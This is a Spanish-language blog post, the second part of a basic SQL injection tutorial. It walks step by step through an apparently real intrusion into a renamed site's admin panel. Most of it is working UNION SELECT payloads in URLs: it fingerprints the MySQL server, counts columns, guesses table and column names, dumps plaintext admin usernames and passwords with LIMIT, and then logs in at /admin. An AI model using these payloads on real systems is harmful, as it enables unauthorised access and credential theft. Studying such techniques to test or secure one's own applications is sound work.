jueves, agosto 13, 2009

SQL Injection básico II/II

Segunda Parte: Caso real de sql injection para lograr acceso al panel de administración de un sitio.

Ok, no vamos a decir el nombre ;) asi que a nuestro sitio le llamaremos "lazyprogrammer.com.sv", vamos a por lo que vinimos:

¿Que información es básica para nuestros propósitos?
Dada la cantidad de variables, sintaxis y escenarios con los que nos podemos encontrar las cosas que necesitamos saber, entre otras son:

- Tipo de servidor de bases de datos (Oracle, MSSQL, MySQL, etc)
- Version del servidor de base de datos (por aquello de las sintaxis, cambios y vulnerabilidades)
- Nombre de la base de datos
- Nombre del usuario de la base de datos
- Permisos del usuario de la base de datos
- Nombre de la tabla
- Nombre de las columnas
- etc

Anteriormente vimos como una comilla simple se convertía en un gran enemigo de nuestro servidor de bases de datos y un aliado en las SQL injections, así que seguiremos usándola, luego verán que se vuelve una manía estar probando las comillas por donde vayamos.

Lo primero entonces es buscar una variable que sea inyectable, lo mas común es encontrarlas en variables que se pasan por la url del tipo:

http://www.lazyprogrammer.com.sv/faq_details.php?id=1

Aca se está pasando la variable id con valor 1 por la url... tomando de base lo que pasaba en la entrega anterior, veamos que pasa si ponemos una comilla simple al final como queriendo cerrar la consulta:

http://www.lazyprogrammer.com.sv/faq_details.php?id=1'

Nos da el siguiente error:

You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Los errores son una gran fuente de información, acá por ejemplo, este error nos está diciendo lo siguiente:
- Estamos frente a un servidor MySql
- Las comillas simples se están "escapando", es posible que magic_quotes este "on"

Aquí es donde comenzamos a pedirle al servidor que nos diga mas, haciendo uso de subqueries o subconsultas "UNION SELECT", pero tenemos que tener en cuenta que cuando usamos Union Select, nuestra subconsulta debe de tener el mismo número de columnas que la primera consulta, entonces, se nos hace necesario primero saber cuantas columnas tiene la consulta original, probemos...

http://www.lazyprogrammer.com.sv/faq_details.php?id=1 UNION SELECT 1

Nos da el error:

The used SELECT statements have a different number of columns

Ok, tiene mas de una columna y además encontramos una variable que es inyectable... sigamos probando entonces hasta que no nos de ningun error

http://www.lazyprogrammer.com.sv/faq_details.php?id=1 UNION SELECT 1,1
http://www.lazyprogrammer.com.sv/faq_details.php?id=1 UNION SELECT 1,1,1
http://www.lazyprogrammer.com.sv/faq_details.php?id=1 UNION SELECT 1,1,1,1

Excelente, no nos dió error, nos mostrá la página como normalmente, esto quiere decir que tiene 4 columnas.

Otra forma de saberlo es haciendo uso de ORDER BY, veamos:

http://www.lazyprogrammer.com.sv/faq_details.php?id=1 ORDER BY 1
No dió ningún error... asi que probamos

http://www.lazyprogrammer.com.sv/faq_details.php?id=1 ORDER BY 2
Y así sucesivamente hasta que nos de el siguiente error:

Unknown column '5' in 'order clause'

Asi que tenemos 5-1 columnas = 4.


Ahora que sabemos que nuestra consulta debe de tener 4 columnas, debemos encontrar un lugar donde los resultados de nuestra consulta sean mostrados, asi que lo primero es hacer que la primer consulta no muestre ningún resultado, como lo logramos? tenemos que colocar un valor de registro (id) que no exista, de esa forma dejara el espacio en blanco, asi que podemos utilizar por ejemplo:

id=9999999999999
id=0
id=-1

Yo prefiero usar el -1, ahora... como sabemos que columna muestra y a donde la muestra? usamos lo siguiente:

http://www.lazyprogrammer.com.sv/faq_details.php?id=-1 UNION SELECT 1,2,3,4

Y nos muestra:

Tema:

2
3

Vemos que solo muestra 2 y 3... cambiemos algo mas para comprenderlo mejor:

http://www.lazyprogrammer.com.sv/faq_details.php?id=-1 UNION SELECT 1,2222,3333,4

y esto nos muestra:

Tema:

2222
3333

O sea que muestra en pantalla lo que solicitemos en las columnas 2 y 3.

Que podemos solicitar?
En el siguiente enlace tenemos una excelente hoja de cosas que podemos solicitar...

http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/

Entre estos encontramos:

@@version o version()
user()
system_user()
database()

Creo que es bastante obvio, asi que los comenzamos a probar, sustituyendo las columnas 2 y 3 por lo que querramos saber:

http://www.lazyprogrammer.com.sv/faq_details.php?id=-1 union select 1,database(),version(),4

O podemos unir toda la informacion que queremos para que lo muestre en un solo campo:

http://www.lazyprogrammer.com.sv/faq_details.php?id=-1 union select 1,concat_ws(char(58),version(),user(),database()),3,4

Esto lo que hace es concatenar los valores de version(), user() y database() haciendo uso del simbolo char(58) que son los dos puntos ":", entonces tenemos lo siguiente:

4.0.18:lazy_banner@lazyprogrammer.com.sv:lazy

O sea, la version de Mysql es 4.0.18, el usuario es lazy_banner@lazyprogrammer.com.sv y la base de datos se llama lazy.

La versión 4 de mysql es un poco mas tediosa para poder encontrar el nombre de las tablas y columnas, en la versión 5 podrímos hacer uso de information_schema.tables, pero en la 4 no la tenemos, asi que jugaremos un poco con nuestra creatividad y la poca creatividad del programador...

Averiguemos primero el nombre de la tabla... que nombres podría haber puesto el administrador para una tabla de login?

usuarios
users
login
logins
adminsitradores
administrador
admin

Probemos...

http://www.lazyprogrammer.com.sv/faq_details.php?id=-1 union select 1,2222,3333,4 from administrador
Table 'lazy.administrador' doesn't exist

No existe... seguimos probando hasta que...

http://www.lazyprogrammer.com.sv/faq_details.php?id=-1 union select 1,2222,3333,4 from admin
No da error, esto quiere decir que la tabla admin SI existe!!!

Y que columnas podrian existir?

user
usuarios
usuario
nombre
y tambien...

clave
password

Probemos....

http://www.lazyprogrammer.com.sv/faq_details.php?id=-1 union select 1,user,3333,4 from admin
Unknown column 'user' in 'field list'

No existe, asi que seguimos probando...

http://www.lazyprogrammer.com.sv/faq_details.php?id=-1 union select 1,usuario,password,4 from admin

Hasta que dimos con los nombres de las columnas correctas y mejor aun.. nos muestra el primer registro de esta tabla, dejando al descubierto el nombre del primer usuario y su password, la cual no esta encriptada sino en texto plano!!!

Aca solo nos mostró el primer registro, asi que busquemos mas, para esto utilizamos LIMIT

http://www.lazyprogrammer.com.sv//faq_details.php?id=-1 union select 1,usuario,password,4 from admin limit 0,1

Entonces seguimos con
limit 1,1
limit 2,1
limit 3,1
limit 4,1

Hasta que ya no muestra nada mas.

Ahora bien.... ya tenemos un listado de usuarios y passwords, los cuales se utilizan normalmente en algun formulario de Login, el cual... normalmente se encuentra en directorios como:

http://www.lazyprogrammer.com.sv/administrator
http://www.lazyprogrammer.com.sv/administrador
http://www.lazyprogrammer.com.sv/admin

Y voilaaaaa!!! /admin si nos muestra la pagina para loguearnos, asi que solo bastará utilizar cualquier combinación encontrada anteriorment y estamos adentro!!!


Bueno, hasta acá nos encontramos con un sitio bastante intuitivo, veremos si mas adelante preparamos algún otro texto para seguir ahondando en el tema, que como les dije antes, es bastante extenso.

Ya saben... preguntas, quejas, chascarríos.. a los comentarios!

SQL Injection básico I/II

1 comentario:

TuxRacer @ SV dijo...

Ciertamente que es muy didáctico nuestro amigo lazy_programmer :)

Gracias por compartir el sitio de pentestmonkey está muy bonito para aprender sobre estas cositas y también muchas gracias por el post.

Saludos Bro.

Happy Hacking!